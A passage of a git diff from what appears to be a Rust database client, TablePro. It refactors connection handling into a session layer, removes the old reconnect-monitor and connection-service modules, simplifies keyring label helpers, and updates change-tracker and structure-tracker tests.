AND "b" IS NULL + + let tracked = t.change_set(&columns).unwrap(); + + assert_eq!(tracked.changes.updates.len(), 1); + assert_eq!(tracked.changes.updates[0].key, vec![Value::Int(1), Value::Int(2)]); assert_eq!( - stmts[0].0, - "UPDATE \"t\" SET \"name\" = $1 WHERE \"a\" = $2 AND \"b\" IS NULL" + tracked.changes.updates[0].assignments, + vec![(2, Value::Text("new".into()))] + ); + assert_eq!( + pk_identity(&columns), + RowIdentity::UniqueKey { + columns: vec!["a".to_owned(), "b".to_owned()] + } ); - assert_eq!(stmts[0].1, vec![Value::Text("new".into()), Value::Int(1)]); } #[test] - fn materialize_delete_uses_is_null_for_null_pk_components() { + #[expect( + clippy::disallowed_methods, + reason = "a test fixture stands in for the catalogue, which is where a default expression comes from" + )] + fn a_draft_leaves_server_filled_columns_to_the_server() { let mut t = TabChangeTracker::new(); - let columns = vec![ - ColumnInfo { - name: "a".into(), - column_type: test_column("", "integer").column_type, - nullable: true, - primary_key: true, - is_auto_increment: false, - default: tablepro_core::column::ColumnDefault::None, - is_generated: false, - comment: None, - }, - data_col("name"), - ]; - let key = RowKey::from_pk_values(&[Value::Null]).unwrap(); - t.track_delete(key, vec![Value::Null, Value::Text("doomed".into())]); - let (stmts, _sources) = t.materialize("mysql", None, "t", &columns).unwrap(); - assert_eq!(stmts.len(), 1); - assert_eq!(stmts[0].0, "DELETE FROM `t` WHERE `a` IS NULL"); - assert!(stmts[0].1.is_empty()); + let mut stamped = data_col("created_at"); + stamped.default = tablepro_core::column::ColumnDefault::Expression( + tablepro_core::column::SqlExpression::from_catalog_text("now()"), + ); + let columns = vec![pk_col("id"), data_col("name"), stamped]; + t.track_insert(vec![Value::Null, Value::Text("draft".into()), Value::Null]); + + let tracked = t.change_set(&columns).unwrap(); + + assert_eq!( + tracked.changes.inserts[0].cells, + vec![ + CellInput::Default, + CellInput::Value(Value::Text("draft".into())), + CellInput::Default + ] + ); + } + + #[test] + fn a_table_without_a_primary_key_cannot_save_an_update() { + let mut t = TabChangeTracker::new(); + let columns = vec![data_col("name")]; + t.track_cell_edit( + rk(&[Value::Int(1)]), + 0, + Value::Text("a".into()), + Value::Text("b".into()), + ); + + assert!(matches!(t.change_set(&columns), Err(BuildSqlError::NoRowIdentity))); } #[test] diff --git a/linux/crates/app/src/services/connection_monitor.rs b/linux/crates/app/src/services/connection_monitor.rs deleted file mode 100644 index d337109deb..0000000000 --- a/linux/crates/app/src/services/connection_monitor.rs +++ /dev/null @@ -1,124 +0,0 @@ -use std::sync::{Arc, Mutex}; -use std::time::Duration; - -use tokio_util::sync::CancellationToken; - -use tablepro_core::Connection; -use tablepro_ssh::russh_tunnel::SshTunnel; - -use super::connection_service; -use super::database_service::{ConnectionHealth, EntryInner, ReconnectParams}; - -const PING_INTERVAL: Duration = Duration::from_secs(30); -const BACKOFF_INITIAL: Duration = Duration::from_secs(5); -const BACKOFF_MAX: Duration = Duration::from_secs(60); - -pub(super) async fn run(inner: Arc>, params: ReconnectParams, cancel: CancellationToken) { - loop { - tokio::select! { - _ = cancel.cancelled() => return, - _ = tokio::time::sleep(PING_INTERVAL) => {} - } - - let conn = match snapshot_connection(&inner) { - Some(c) => c, - None => return, - }; - - if let Err(e) = conn.ping().await { - tracing::warn!(error = %e, "connection ping failed; starting reconnect"); - if reconnect_loop(&inner, ¶ms, &cancel).await.is_err() { - return; - } - } - } -} - -fn snapshot_connection(inner: &Arc>) -> Option> { - inner.lock().ok().map(|g| g.connection.clone()) -} - -async fn reconnect_loop( - inner: &Arc>, - params: &ReconnectParams, - cancel: &CancellationToken, -) -> Result<(), ()> { - let mut delay = BACKOFF_INITIAL; - let mut attempt: u32 = 1; - set_health(inner, ConnectionHealth::Reconnecting { attempt }); - loop { - tokio::select! { - _ = cancel.cancelled() => return Err(()), - _ = tokio::time::sleep(delay) => {} - } - - match try_reconnect(params).await { - Ok((conn, tunnel)) => { - swap_connection(inner, conn, tunnel); - set_health(inner, ConnectionHealth::Healthy); - tracing::info!(attempt, "reconnect succeeded"); - return Ok(()); - } - Err(e) => { - tracing::warn!(error = %e, attempt, delay_secs = delay.as_secs(), "reconnect failed; backing off"); - attempt += 1; - set_health(inner, ConnectionHealth::Reconnecting { attempt }); - delay = next_delay(delay); - } - } - } -} - -fn next_delay(prev: Duration) -> Duration { - std::cmp::min(prev.saturating_mul(2), BACKOFF_MAX) -} - -async fn try_reconnect(params: &ReconnectParams) -> Result<(Box, Option), String> { - connection_service::establish( - params.driver.as_ref(), - params.opts.clone(), - params.ssh.clone(), - params.read_only, - ) - .await -} - -fn swap_connection(inner: &Arc>, conn: Box, tunnel: Option) { - let arc: Arc = Arc::from(conn); - if let Ok(mut g) = inner.lock() { - g.connection = arc; - g.tunnel = tunnel; - } -} - -fn set_health(inner: &Arc>, health: ConnectionHealth) { - if let Ok(mut g) = inner.lock() { - g.health = health; - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn backoff_doubles_until_capped() { - let mut d = BACKOFF_INITIAL; - assert_eq!(d, Duration::from_secs(5)); - d = next_delay(d); - assert_eq!(d, Duration::from_secs(10)); - d = next_delay(d); - assert_eq!(d, Duration::from_secs(20)); - d = next_delay(d); - assert_eq!(d, Duration::from_secs(40)); - d = next_delay(d); - assert_eq!(d, BACKOFF_MAX); - d = next_delay(d); - assert_eq!(d, BACKOFF_MAX); - } - - #[test] - fn backoff_saturates_without_overflow() { - assert_eq!(next_delay(Duration::MAX), BACKOFF_MAX); - } -} diff --git a/linux/crates/app/src/services/connection_service.rs b/linux/crates/app/src/services/connection_service.rs deleted file mode 100644 index 01b73b9321..0000000000 --- a/linux/crates/app/src/services/connection_service.rs +++ /dev/null @@ -1,284 +0,0 @@ -use std::sync::Arc; - -use secrecy::SecretString; -use std::path::PathBuf; -use tablepro_core::{AuthMode, ConnectOptions, Connection, DriverRegistry, ReadOnlyConnection, TableInfo}; - -use tablepro_core::credentials::{SecretKind, SecretVault}; -use tablepro_ssh::russh_tunnel::{SshAuth, SshConfig, SshError, SshTunnel}; -use tablepro_storage::{SavedConnection, SavedSshAuth, SavedSshConfig}; - -use super::database_service::{self, ConnectionMetadata, ReconnectParams}; - -pub async fn open_saved( - registry: Arc, - secrets: Arc, - saved: SavedConnection, -) -> Result, String> { - let driver = registry - .get(&saved.driver_id) - .ok_or_else(|| format!("driver {} not registered", saved.driver_id))?; - // Kerberos never had a secret of ours to store, so there is nothing - // to read back. - let password = match saved.auth_mode { - AuthMode::Kerberos => SecretString::new(String::new().into()), - AuthMode::Password => secrets - .load(saved.id, SecretKind::DatabasePassword) - .await - .map_err(|error| crate::ui::error_text::secret_message(&error))? - .found() - .ok_or_else(|| { - // An empty password here used to reach the driver and - // come back as a confusing authentication failure. - crate::i18n::gettext_f("No password is stored for “{name}”.", &[("name", &saved.name)]) - })?, - }; - let id = saved.id; - - let ssh_cfg = match &saved.ssh { - Some(ssh) => Some(resolve_saved_ssh(&secrets, id, ssh).await?), - None => None, - }; - - let opts = ConnectOptions { - host: saved.host, - port: saved.port, - database: saved.database, - username: saved.username, - password, - use_tls: saved.use_tls, - auth_mode: saved.auth_mode, - service_endpoint: None, - }; - - let (conn, tunnel) = establish(&*driver, opts.clone(), ssh_cfg.clone(), saved.read_only).await?; - let tables = conn.list_tables().await.map_err(|e| format!("list_tables: {e}"))?; - let metadata = ConnectionMetadata { - id, - name: saved.name.clone(), - driver_id: saved.driver_id.clone(), - }; - let params = ReconnectParams { - driver, - opts, - ssh: ssh_cfg, - read_only: saved.read_only, - }; - database_service::instance().add(id, metadata, conn, tunnel, saved.read_only, params); - Ok(tables) -} - -pub async fn establish( - driver: &dyn tablepro_core::DatabaseDriver, - mut opts: ConnectOptions, - ssh: Option, - read_only: bool, -) -> Result<(Box, Option), String> { - check_auth_mode(opts.auth_mode, driver.supports_integrated_auth(), driver.display_name())?; - let tunnel = if let Some(cfg) = ssh { - let remote = (std::mem::take(&mut opts.host), opts.port); - let tun = SshTunnel::open(cfg, remote.0.clone(), remote.1) - .await - .map_err(|e| crate::ui::error_text::ssh_message(&e))?; - redirect_through_tunnel(&mut opts, remote, (tun.local_host().to_string(), tun.local_port())); - Some(tun) - } else { - None - }; - let raw = driver - .connect(opts) - .await - .map_err(|e| crate::ui::error_text::driver_message(&e))?; - let conn = if read_only { ReadOnlyConnection::wrap(raw) } else { raw }; - Ok((conn, tunnel)) -} - -/// The socket has to point at the local forward while the service keeps -/// its own name: without the remembered endpoint Kerberos would ask the -/// KDC for MSSQLSvc/127.0.0.1:, and TLS would validate -/// the certificate against the same wrong name. -fn redirect_through_tunnel(opts: &mut ConnectOptions, remote: (String, u16), local: (String, u16)) { - opts.service_endpoint = Some(remote); - opts.host = local.0; - opts.port = local.1; -} - -/// A saved connection carries its auth mode, so a file edited by hand -/// can name a mode the driver never implements. Password would then be -/// sent as an empty string and the login would fail as a credential -/// problem rather than a configuration one. -fn check_auth_mode(mode: AuthMode, supports_integrated: bool, driver_name: &str) -> Result<(), String> { - if mode == AuthMode::Kerberos && !supports_integrated { - return Err(crate::i18n::gettext_f( - "The {driver} driver does not support Windows (Kerberos) authentication.", - &[("driver", driver_name)], - )); - } - Ok(()) -} - -pub(crate) enum InterimSshAuth { - Password, - PrivateKey { path: PathBuf, has_passphrase: bool }, -} - -pub(crate) struct InterimSshTarget { - pub host: String, - pub port: u16, - pub username: String, - pub auth: InterimSshAuth, -} - -pub(crate) fn interim_ssh_target(saved: &SavedSshConfig) -> Result { - let refuse = |setting| Err(SshError::RequiresOpenSsh { setting }); - if !saved.jump_hosts.is_empty() { - return refuse("SSH jump hosts"); - } - let Some(port) = saved.port else { - return refuse("an SSH connection without a port"); - }; - let Some(username) = saved.username.clone() else { - return refuse("an SSH connection without a user name"); - }; - let auth = match &saved.auth { - SavedSshAuth::Password => InterimSshAuth::Password, - SavedSshAuth::PrivateKey { - path: Some(path), - has_passphrase, - } => InterimSshAuth::PrivateKey { - path: path.clone(), - has_passphrase: *has_passphrase, - }, - SavedSshAuth::PrivateKey { path: None, .. } => return refuse("a private key without a path"), - SavedSshAuth::Agent => return refuse("SSH agent authentication"), - SavedSshAuth::KeyboardInteractive => return refuse("keyboard-interactive SSH authentication"), - }; - Ok(InterimSshTarget { - host: saved.host.clone(), - port, - username, - auth, - }) -} - -async fn resolve_saved_ssh( - secrets: &Arc, - id: uuid::Uuid, - saved: &SavedSshConfig, -) -> Result { - let target = interim_ssh_target(saved).map_err(|error| crate::ui::error_text::ssh_message(&error))?; - let auth = match target.auth { - InterimSshAuth::Password => { - let password = secrets - .load(id, SecretKind::SshPassword) - .await - .map_err(|error| crate::ui::error_text::secret_message(&error))? - .found() - .ok_or_else(|| crate::i18n::gettext("No SSH password is stored for this connection."))?; - SshAuth::Password { password } - } - InterimSshAuth::PrivateKey { path, has_passphrase } => { - let passphrase = if has_passphrase { - secrets - .load(id, SecretKind::SshPassphrase) - .await - .map_err(|error| crate::ui::error_text::secret_message(&error))? - .found() - } else { - None - }; - SshAuth::PrivateKey { path, passphrase } - } - }; - Ok(SshConfig { - host: target.host, - port: target.port, - username: target.username, - auth, - }) -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn a_tunnel_moves_the_socket_and_keeps_the_service_name() { - let mut opts = ConnectOptions { - host: "127.0.0.1".into(), - port: 54321, - ..Default::default() - }; - redirect_through_tunnel( - &mut opts, - ("sql.corp.example".into(), 1433), - ("127.0.0.1".into(), 54321), - ); - assert_eq!(opts.host, "127.0.0.1"); - assert_eq!(opts.port, 54321); - assert_eq!(opts.service_address(), ("sql.corp.example", 1433)); - } - - #[test] - fn interim_tunnel_refuses_agent_before_network_io() { - let agent = SavedSshConfig { - host: "bastion".into(), - port: Some(22), - username: Some("deploy".into()), - jump_hosts: Vec::new(), - auth: SavedSshAuth::Agent, - }; - assert!(matches!( - interim_ssh_target(&agent), - Err(SshError::RequiresOpenSsh { - setting: "SSH agent authentication" - }) - )); - let refused = [ - SavedSshConfig { - jump_hosts: vec!["jump1".into()], - auth: SavedSshAuth::Password, - ..agent.clone() - }, - SavedSshConfig { - port: None, - auth: SavedSshAuth::Password, - ..agent.clone() - }, - SavedSshConfig { - username: None, - auth: SavedSshAuth::Password, - ..agent.clone() - }, - SavedSshConfig { - auth: SavedSshAuth::PrivateKey { - path: None, - has_passphrase: false, - }, - ..agent.clone() - }, - SavedSshConfig { - auth: SavedSshAuth::KeyboardInteractive, - ..agent.clone() - }, - ]; - for saved in refused { - assert!(matches!( - interim_ssh_target(&saved), - Err(SshError::RequiresOpenSsh { .. }) - )); - } - let password = SavedSshConfig { - auth: SavedSshAuth::Password, - ..agent - }; - assert!(interim_ssh_target(&password).is_ok_and(|target| target.port == 22 && target.username == "deploy")); - } - - #[test] - fn kerberos_is_refused_for_a_driver_that_cannot_perform_it() { - assert!(check_auth_mode(AuthMode::Kerberos, false, "PostgreSQL").is_err()); - assert!(check_auth_mode(AuthMode::Kerberos, true, "SQL Server").is_ok()); - assert!(check_auth_mode(AuthMode::Password, false, "PostgreSQL").is_ok()); - } -} diff --git a/linux/crates/app/src/services/database_service.rs b/linux/crates/app/src/services/database_service.rs deleted file mode 100644 index db1c6ade08..0000000000 --- a/linux/crates/app/src/services/database_service.rs +++ /dev/null @@ -1,182 +0,0 @@ -use std::collections::HashMap; -use std::sync::{Arc, Mutex, OnceLock, PoisonError}; - -use tokio_util::sync::CancellationToken; -use uuid::Uuid; - -use tablepro_core::{ConnectOptions, Connection, DatabaseDriver}; -use tablepro_ssh::russh_tunnel::{SshConfig, SshTunnel}; - -use super::connection_monitor; - -static SERVICE: OnceLock = OnceLock::new(); - -pub fn instance() -> &'static DatabaseService { - SERVICE.get_or_init(DatabaseService::new) -} - -pub(super) struct EntryInner { - pub(super) connection: Arc, - pub(super) tunnel: Option, - pub(super) health: ConnectionHealth, -} - -#[derive(Debug, Clone)] -pub struct ConnectionMetadata { - pub id: Uuid, - pub name: String, - pub driver_id: String, -} - -#[derive(Debug, Clone, PartialEq, Eq)] -pub enum ConnectionHealth { - Healthy, - Reconnecting { attempt: u32 }, -} - -pub struct ReconnectParams { - pub driver: Arc, - pub opts: ConnectOptions, - pub ssh: Option, - pub read_only: bool, -} - -struct Entry { - inner: Arc>, - metadata: ConnectionMetadata, - read_only: bool, - cancel: CancellationToken, - _monitor: tokio::task::JoinHandle<()>, -} - -pub struct DatabaseService { - connections: Mutex>, - active: Mutex>, -} - -impl DatabaseService { - fn new() -> Self { - Self { - connections: Mutex::new(HashMap::new()), - active: Mutex::new(None), - } - } - - pub fn add( - &self, - id: Uuid, - metadata: ConnectionMetadata, - connection: Box, - tunnel: Option, - read_only: bool, - params: ReconnectParams, - ) { - let arc: Arc = Arc::from(connection); - let inner = Arc::new(Mutex::new(EntryInner { - connection: arc, - tunnel, - health: ConnectionHealth::Healthy, - })); - let cancel = CancellationToken::new(); - // The service is a process-wide singleton with no Tasks handle. - // W4-06 replaces it with an owned session registry. - #[expect( - clippy::disallowed_methods, - reason = "the singleton has no Tasks yet; W4-06 gives it one" - )] - let monitor = tokio::spawn(connection_monitor::run(inner.clone(), params, cancel.clone())); - let entry = Entry { - inner, - metadata, - read_only, - cancel, - _monitor: monitor, - }; - self.connections - .lock() - .unwrap_or_else(PoisonError::into_inner) - .insert(id, entry); - *self.active.lock().unwrap_or_else(PoisonError::into_inner) = Some(id); - } - - pub fn active_metadata(&self) -> Option { - let id = self.active_id()?; - let entries = self.connections.lock().unwrap_or_else(PoisonError::into_inner); - entries.get(&id).map(|e| e.metadata.clone()) - } - - pub fn all_connections(&self) -> Vec { - let entries = self.connections.lock().unwrap_or_else(PoisonError::into_inner); - let mut out: Vec<_> = entries.values().map(|e| e.metadata.clone()).collect(); - out.sort_by_cached_key(|metadata| metadata.name.to_lowercase()); - out - } - - pub fn get(&self, id: Uuid) -> Option> { - let entries = self.connections.lock().unwrap_or_else(PoisonError::into_inner); - let entry = entries.get(&id)?; - let inner = entry.inner.lock().unwrap_or_else(PoisonError::into_inner); - Some(inner.connection.clone()) - } - - pub fn active(&self) -> Option> { - let id = self.active_id()?; - self.get(id) - } - - pub fn active_id(&self) -> Option { - *self.active.lock().unwrap_or_else(PoisonError::into_inner) - } - - pub fn active_health(&self) -> Option { - let id = self.active_id()?; - let entries = self.connections.lock().unwrap_or_else(PoisonError::into_inner); - let entry = entries.get(&id)?; - let inner = entry.inner.lock().unwrap_or_else(PoisonError::into_inner); - Some(inner.health.clone()) - } - - pub fn is_active_read_only(&self) -> bool { - let id = match self.active_id() { - Some(id) => id, - None => return false, - }; - self.connections - .lock() - .unwrap_or_else(PoisonError::into_inner) - .get(&id) - .map(|e| e.read_only) - .unwrap_or(false) - } - - pub fn remove(&self, id: Uuid) { - let mut entries = self.connections.lock().unwrap_or_else(PoisonError::into_inner); - if let Some(entry) = entries.remove(&id) { - entry.cancel.cancel(); - } - let mut active = self.active.lock().unwrap_or_else(PoisonError::into_inner); - if *active == Some(id) { - *active = None; - } - } - - pub fn clear_all(&self) { - let mut entries = self.connections.lock().unwrap_or_else(PoisonError::into_inner); - for (_, entry) in entries.drain() { - entry.cancel.cancel(); - } - *self.active.lock().unwrap_or_else(PoisonError::into_inner) = None; - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn instance_is_singleton() { - let a = instance() as *const _; - let b = instance() as *const _; - assert_eq!(a, b); - } -} diff --git a/linux/crates/app/src/services/mod.rs b/linux/crates/app/src/services/mod.rs index 701b91787e..1f02a3f8aa 100644 --- a/linux/crates/app/src/services/mod.rs +++ b/linux/crates/app/src/services/mod.rs @@ -2,14 +2,13 @@ use std::sync::OnceLock; use tablepro_storage::StoragePaths; +pub mod active_session; pub mod change_tracker; -pub mod connection_monitor; -pub mod connection_service; -pub mod database_service; pub mod history_availability; pub mod history_service; pub mod secret_labels; pub mod secret_save_report; +pub mod session_context; pub mod single_instance; pub mod structure_tracker; pub mod workspace_state; diff --git a/linux/crates/app/src/services/secret_labels.rs b/linux/crates/app/src/services/secret_labels.rs index 122a1a2d64..3f5b93a1c4 100644 --- a/linux/crates/app/src/services/secret_labels.rs +++ b/linux/crates/app/src/services/secret_labels.rs @@ -1,70 +1,27 @@ use tablepro_core::credentials::SecretKind; use tablepro_storage::SavedConnection; -/// What the secret belongs to, in the user's own terms. This is what -/// Seahorse and GNOME Settings show, so it has to identify the -/// connection without the user opening TablePro. -pub(crate) fn secret_target(kind: SecretKind, connection: &SavedConnection) -> String { - match kind { - SecretKind::DatabasePassword => database_target(connection), - SecretKind::SshPassword => ssh_target(connection), - SecretKind::SshPassphrase => passphrase_target(connection), - } +/// The keyring label for a connection's secret. Seahorse shows it, so +/// it names what the secret opens in the user's own terms. +pub(crate) fn secret_label(kind: SecretKind, connection: &SavedConnection) -> String { + label_for_target(kind, &connection.secret_target(kind)) } -pub(crate) fn secret_label(kind: SecretKind, connection: &SavedConnection) -> String { - let target = secret_target(kind, connection); +/// The label for a secret whose target is already worked out, as the +/// keyring credentials hand it over when the user asks to remember a +/// secret they typed. +pub(crate) fn label_for_target(kind: SecretKind, target: &str) -> String { match kind { SecretKind::DatabasePassword => { - crate::i18n::gettext_f("TablePro database password for {target}", &[("target", &target)]) + crate::i18n::gettext_f("TablePro database password for {target}", &[("target", target)]) } - SecretKind::SshPassword => crate::i18n::gettext_f("TablePro SSH password for {target}", &[("target", &target)]), + SecretKind::SshPassword => crate::i18n::gettext_f("TablePro SSH password for {target}", &[("target", target)]), SecretKind::SshPassphrase => { - crate::i18n::gettext_f("TablePro SSH key passphrase for {target}", &[("target", &target)]) + crate::i18n::gettext_f("TablePro SSH key passphrase for {target}", &[("target", target)]) } } } -fn database_target(connection: &SavedConnection) -> String { - let mut target = String::new(); - if !connection.username.is_empty() { - target.push_str(&connection.username); - target.push('@'); - } - target.push_str(&connection.host); - target.push(':'); - target.push_str(&connection.port.to_string()); - if !connection.database.is_empty() { - target.push('/'); - target.push_str(&connection.database); - } - target -} - -fn ssh_target(connection: &SavedConnection) -> String { - let Some(ssh) = &connection.ssh else { - return connection.host.clone(); - }; - match ssh.username.as_deref().filter(|user| !user.is_empty()) { - Some(user) => format!("{user}@{}", ssh.host), - None => ssh.host.clone(), - } -} - -/// A passphrase belongs to a key file, so the path identifies it better -/// than the host does. Without a path the key comes from the agent or -/// the SSH config, and the host is all there is. -fn passphrase_target(connection: &SavedConnection) -> String { - let path = connection.ssh.as_ref().and_then(|ssh| match &ssh.auth { - tablepro_storage::SavedSshAuth::PrivateKey { path, .. } => path.as_ref(), - _ => None, - }); - match path { - Some(path) => path.display().to_string(), - None => ssh_target(connection), - } -} - #[cfg(test)] mod tests { use std::path::PathBuf; @@ -84,7 +41,7 @@ mod tests { port: 5432, database: "shop".into(), username: "app".into(), - use_tls: true, + tls: tablepro_core::TlsConfig::verify_full(), read_only: false, auth_mode: AuthMode::Password, ssh: None, @@ -111,7 +68,7 @@ mod tests { fn secret_label_and_target_per_kind() { let plain = connection(); assert_eq!( - secret_target(SecretKind::DatabasePassword, &plain), + plain.secret_target(SecretKind::DatabasePassword), "app@db.example.com:5432/shop" ); assert_eq!( @@ -121,7 +78,7 @@ mod tests { let with_user = with_ssh(SavedSshAuth::Password, Some("deploy")); assert_eq!( - secret_target(SecretKind::SshPassword, &with_user), + with_user.secret_target(SecretKind::SshPassword), "deploy@bastion.example.com" ); @@ -133,13 +90,13 @@ mod tests { Some("deploy"), ); assert_eq!( - secret_target(SecretKind::SshPassphrase, &keyed), + keyed.secret_target(SecretKind::SshPassphrase), "/home/u/.ssh/id_ed25519" ); let agent = with_ssh(SavedSshAuth::Agent, Some("deploy")); assert_eq!( - secret_target(SecretKind::SshPassphrase, &agent), + agent.secret_target(SecretKind::SshPassphrase), "deploy@bastion.example.com" ); } @@ -151,19 +108,19 @@ mod tests { ..connection() }; assert_eq!( - secret_target(SecretKind::DatabasePassword, &anonymous), + anonymous.secret_target(SecretKind::DatabasePassword), "db.example.com:5432/shop" ); let no_ssh_user = with_ssh(SavedSshAuth::Password, None); assert_eq!( - secret_target(SecretKind::SshPassword, &no_ssh_user), + no_ssh_user.secret_target(SecretKind::SshPassword), "bastion.example.com" ); let empty_ssh_user = with_ssh(SavedSshAuth::Password, Some("")); assert_eq!( - secret_target(SecretKind::SshPassword, &empty_ssh_user), + empty_ssh_user.secret_target(SecretKind::SshPassword), "bastion.example.com" ); } diff --git a/linux/crates/app/src/services/secret_save_report.rs b/linux/crates/app/src/services/secret_save_report.rs index 3a7432335f..4f3b1dc64f 100644 --- a/linux/crates/app/src/services/secret_save_report.rs +++ b/linux/crates/app/src/services/secret_save_report.rs @@ -1,40 +1,12 @@ -use tablepro_core::credentials::{SecretError, SecretKind}; - -/// Which secrets failed to store, so the save can carry on and the user -/// is told exactly what was not kept. -#[derive(Debug, Default)] -pub(crate) struct SecretSaveReport { - pub failed: Vec<(SecretKind, SecretError)>, -} - -impl SecretSaveReport { - pub fn record(&mut self, kind: SecretKind, result: Result<(), SecretError>) -> bool { - match result { - Ok(()) => true, - Err(error) => { - self.failed.push((kind, error)); - false - } - } - } - - #[cfg(test)] - pub fn is_empty(&self) -> bool { - self.failed.is_empty() - } - - /// One line per failure, for a toast. - pub fn messages(&self) -> Vec { - self.failed - .iter() - .map(|(_, error)| { - crate::i18n::gettext_f( - "Password not saved in the keyring: {reason}", - &[("reason", &error.to_string())], - ) - }) - .collect() - } +use tablepro_core::credentials::SecretError; + +/// The toast for a secret the keyring would not keep. The connection +/// still works; the user is asked for the secret next time. +pub(crate) fn not_saved_message(error: &SecretError) -> String { + crate::i18n::gettext_f( + "Password not saved in the keyring: {reason}", + &[("reason", &error.to_string())], + ) } #[cfg(test)] @@ -42,37 +14,10 @@ mod tests { use super::*; #[test] - fn record_reports_success_and_collects_failures() { - let mut report = SecretSaveReport::default(); - - assert!(report.record(SecretKind::DatabasePassword, Ok(()))); - assert!(!report.record(SecretKind::SshPassphrase, Err(SecretError::Locked))); - - assert!(!report.is_empty()); - assert_eq!(report.failed.len(), 1); - assert_eq!(report.failed[0].0, SecretKind::SshPassphrase); - } - - #[test] - fn messages_name_the_reason() { - let mut report = SecretSaveReport::default(); - report.record(SecretKind::DatabasePassword, Err(SecretError::UnlockDismissed)); - - let messages = report.messages(); - - assert_eq!(messages.len(), 1); - assert!( - messages[0].contains("Password not saved in the keyring"), - "{messages:?}" - ); - assert!(messages[0].contains("dismissed"), "{messages:?}"); - } - - #[test] - fn an_empty_report_has_no_messages() { - let report = SecretSaveReport::default(); + fn the_message_names_the_reason() { + let message = not_saved_message(&SecretError::UnlockDismissed); - assert!(report.is_empty()); - assert!(report.messages().is_empty()); + assert!(message.contains("Password not saved in the keyring"), "{message}"); + assert!(message.contains("dismissed"), "{message}"); } } diff --git a/linux/crates/app/src/services/session_context.rs b/linux/crates/app/src/services/session_context.rs new file mode 100644 index 0000000000..ef67c37437 --- /dev/null +++ b/linux/crates/app/src/services/session_context.rs @@ -0,0 +1,74 @@ +use std::rc::Rc; +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::credentials::{CredentialInteraction, CredentialPrompter, SecretKind, SecretVault}; +use tablepro_core::{DriverRegistry, LivenessPolicy}; +use tablepro_session::operation::{DeadlinePolicy, OperationKind}; +use tablepro_session::runtime::{ProcessHold, Tasks}; +use tablepro_session::{Connector, CredentialSource, SessionDeps, SessionRegistry}; +use tablepro_storage::{KeyringCredentials, SavedConnection}; + +use super::active_session::ActiveSession; + +/// Everything a window needs to connect, run a session and close it, +/// built once in `run()` and shared on the GTK thread. +pub struct SessionContext { + pub drivers: Arc, + pub connector: Arc, + pub deadlines: Arc, + pub prompter: Arc, + pub secrets: Arc, + pub sessions: Rc, + pub hold: Rc, + pub tasks: Tasks, + pub liveness: LivenessPolicy, + pub active: ActiveSession, +} + +impl SessionContext { + /// A connect the user is waiting on may ask them for what is missing. + pub fn attended(&self) -> CredentialInteraction { + CredentialInteraction::Attended(self.prompter.clone()) + } + + /// A saved connection's secrets, read from the keyring at every + /// connect and labelled in the user's language when remembered. + pub fn keyring_credentials(&self, saved: &SavedConnection) -> KeyringCredentials { + KeyringCredentials::for_saved(self.secrets.clone(), saved).with_labeler(translated_secret_label) + } + + /// What a started session reconnects with. A Retry the user presses + /// may prompt again; the monitor's own retries never do. + pub fn session_deps(&self, credentials: Arc) -> SessionDeps { + SessionDeps { + connector: self.connector.clone(), + credentials, + deadlines: self.deadlines.clone(), + tasks: self.tasks.clone(), + prompter: Some(self.prompter.clone()), + } + } + + pub fn close_timeout(&self) -> Duration { + self.deadlines + .deadline(OperationKind::Close) + .unwrap_or(self.liveness.close_timeout) + } +} + +impl std::fmt::Debug for SessionContext { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("SessionContext") + .field("drivers", &self.drivers.len()) + .field("sessions", &self.sessions) + .field("active", &self.active) + .finish_non_exhaustive() + } +} + +/// The keyring label for a secret the user chose to remember, in the +/// wording the connect dialog uses for the same secret. +fn translated_secret_label(kind: SecretKind, target: &str) -> String { + super::secret_labels::label_for_target(kind, target) +} diff --git a/linux/crates/app/src/services/structure_tracker.rs b/linux/crates/app/src/services/structure_tracker.rs index 4e91c1486c..c6d23b5ddb 100644 --- a/linux/crates/app/src/services/structure_tracker.rs +++ b/linux/crates/app/src/services/structure_tracker.rs @@ -20,6 +20,7 @@ use std::collections::HashMap; use uuid::Uuid; +use tablepro_core::dialect::SqlDialect; use tablepro_core::sql_ddl::{BuildDdlError, StructureOp, materialize_ops}; /// Per-tab cache. Holds the current pending-op list emitted by the @@ -51,8 +52,11 @@ impl StructureChangeTracker { self.ops.clear(); } - pub fn materialize(&self, driver_id: &str) -> Result, BuildDdlError> { - materialize_ops(&self.ops, driver_id) + /// The SQL for the cached ops in `dialect`, which has to be the + /// connection's own: renames and default drops are spelled per + /// server. + pub fn materialize(&self, driver_id: &str, dialect: &dyn SqlDialect) -> Result, BuildDdlError> { + materialize_ops(&self.ops, driver_id, dialect) } } @@ -177,7 +181,12 @@ mod tests { table: "t".into(), column: dc("a", "int"), }]); - let sql = t.materialize("postgres").unwrap(); + let sql = t + .materialize( + "postgres", + &drivers_postgres::PgDialect::new(&tablepro_core::ServerInfo::new("PostgreSQL", "18.0", 18, 0, 0)), + ) + .unwrap(); assert_eq!(sql.len(), 1); assert!(sql[0].contains("ALTER TABLE")); } diff --git a/linux/crates/app/src/session/failure_cause.rs b/linux/crates/app/src/session/failure_cause.rs deleted file mode 100644 index dec0a40fa2..0000000000 --- a/linux/crates/app/src/session/failure_cause.rs +++ /dev/null @@ -1,13 +0,0 @@ -/// Why a connection attempt will not succeed on a retry. -/// -/// Each of these needs the user to change something, so the monitor -/// parks instead of burning a backoff loop against a password that is -/// wrong or a host key that changed. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum FailureCause { - Authentication, - Tls, - Configuration, - HostKeyUnknown, - HostKeyChanged, -} diff --git a/linux/crates/app/src/session/probe_outcome.rs b/linux/crates/app/src/session/probe_outcome.rs deleted file mode 100644 index 2331140af9..0000000000 --- a/linux/crates/app/src/session/probe_outcome.rs +++ /dev/null @@ -1,18 +0,0 @@ -use super::FailureCause; - -/// What a health probe found. `classify` from a driver error lands with -/// the driver contract switch. -#[derive(Debug, Clone, PartialEq, Eq)] -pub enum ProbeOutcome { - Healthy, - /// The connection answered, just not yet. It is alive, so this - /// counts as healthy for the monitor's purposes. - Busy, - /// No answer in time. One of these is a hiccup; several in a row - /// mean the connection is gone. - Unresponsive, - Lost, - /// The server answered by refusing. Retrying the probe will not - /// change that, but the connection itself is still up. - Rejected(FailureCause), -} diff --git a/linux/crates/app/src/ui/app/browse.rs 